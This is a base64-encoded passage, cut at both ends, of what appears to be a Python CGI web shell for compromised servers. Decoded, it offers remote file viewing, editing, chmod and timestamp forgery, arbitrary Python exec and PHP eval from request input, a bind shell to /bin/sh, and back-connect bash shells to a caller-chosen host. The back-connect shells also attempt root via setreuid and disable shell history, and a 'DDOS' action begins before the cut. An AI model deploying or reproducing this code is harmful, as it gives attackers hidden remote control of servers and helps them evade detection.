mIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL2Jhc2ggLWknKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiY2MiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgdHJ5OiBvcy5zZXRyZXVpZCgwLDApCiAgICAgICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgICAgICB1bmFtZSA9IGNvbW1hbmRzLmdldG91dHB1dCgidW5hbWUgLWEiKQogICAgICAgICAgICBpZCA9IGNvbW1hbmRzLmdldG91dHB1dCgiaWQiKQogICAgICAgICAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5mb3JrKCkgCiAgICAgICAgICAgIGlmIHBpZCA9PSAwOgogICAgICAgICAgICAgICAgc29jay5zZW5kKGFzY2lpKQogICAgICAgICAgICAgICAgc29jay5zZW5kKHVuYW1lKyJcclxuIitpZCsiXHJcbiIpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIkhJU1RGSUxFIiwiL2Rldi9udWxsIikKICAgICAgICAgICAgICAgIG9zLnB1dGVudigiSE9NRSIsb3MuZ2V0Y3dkKCkpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBBVEgiLCcvdXNyL2xvY2FsL3NiaW46L3Vzci9zYmluOi9zYmluOicrb3MuZ2V0ZW52KCdQQVRIJykpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgICAgICAgICBvcy5wdXRlbnYoIlBTMSIsY29sb3IrJycnXHVAXGg6XHdcJCAnJycrcmVzZXQpCiAgICAgICAgICAgICAgICBwdHkuc3Bhd24oIi9iaW4vYmFzaCIpCiAgICAgICAgICAgICAgICBzb2NrLnNlbmQoIlxyXG4iKQogICAgICAgICAgICAgICAgc29jay5zaHV0ZG93bigxKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgYiA9IHNvY2subWFrZWZpbGUob3MuT19SRE9OTFl8b3MuT19OT05CTE9DSykgCiAgICAgICAgICAgICAgICBjID0gb3MuZmRvcGVuKGNoaWxkUHJvY2VzcywncisnKSAKICAgICAgICAgICAgICAgIHkgPSB7YjpjLGM6Yn0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgICAgICAgICBmb3IgbiBpbiBzZWxlY3Quc2VsZWN0KFtiLGNdLFtdLFtdKVswXTogCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6ID0gb3MucmVhZChuLmZpbGVubygpLDQwOTYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5W25dLndyaXRlKHopIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpIAogICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCiAgICAgICAgICAgICAgICAKICAgIHByaW50ICIiIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDQ4Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsJ2JjJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgoJPHNwYW4+QmFjay1jb25uZWN0IHNoZWxsOiA8L3NwYW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIiIitvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKyIiIic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNDQzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT4KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdjYycsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KCTxzcGFuPkNoaXBweTEzMzcgZW5oYW5jZWQgYmFjay1jb25uZWN0IHNoZWxsIChyZXF1aXJlcyBzb2NhdCk6IDwvc3Bhbj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIiIiK29zLmVudmlyb25bJ1JFTU9URV9BRERSJ10rIiIiJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgoJPC9mb3JtPjxicj48L2Rpdj4iIiIKICAgIHByaW50Rm9vdGVyKCkKZGVmIGFjdGlvbkRET1MoKToKICAgIHByaW50SGVhZGVyKCkKICAgIGlmIF9SRVFVRVNUWydwMSddICE9ICIiOgogICAgICAgIHNvY2s9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQogICAgICAgIHNvY2suc2V0dGltZW91dCgxMCkKICAgIGlmIF9SRVFVRVNUWydwMSddID09ICJicCI6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBzb2NrLmJpbmQoKCdsb2NhbGhvc3QnLCBpbnQoX1JFUVVFU1RbJ3AyJ10pKSkKICAgICAgICAgICAgc29jay5saXN0ZW4oMCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICBpZiBvcy5mb3JrKCkhPTA6CiAgICAgICAgICAgIChjLGFkZHIpPXNvY2suYWNjZXB0KCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAwKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDEpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMikKICAgICAgICAgICAgb3Muc3lzdGVtKCcvYmluL3NoIC1pJykKICAgICAgICAgICAgYy5zaHV0ZG93bigyKQogICAgICAgICAgICBzb2NrL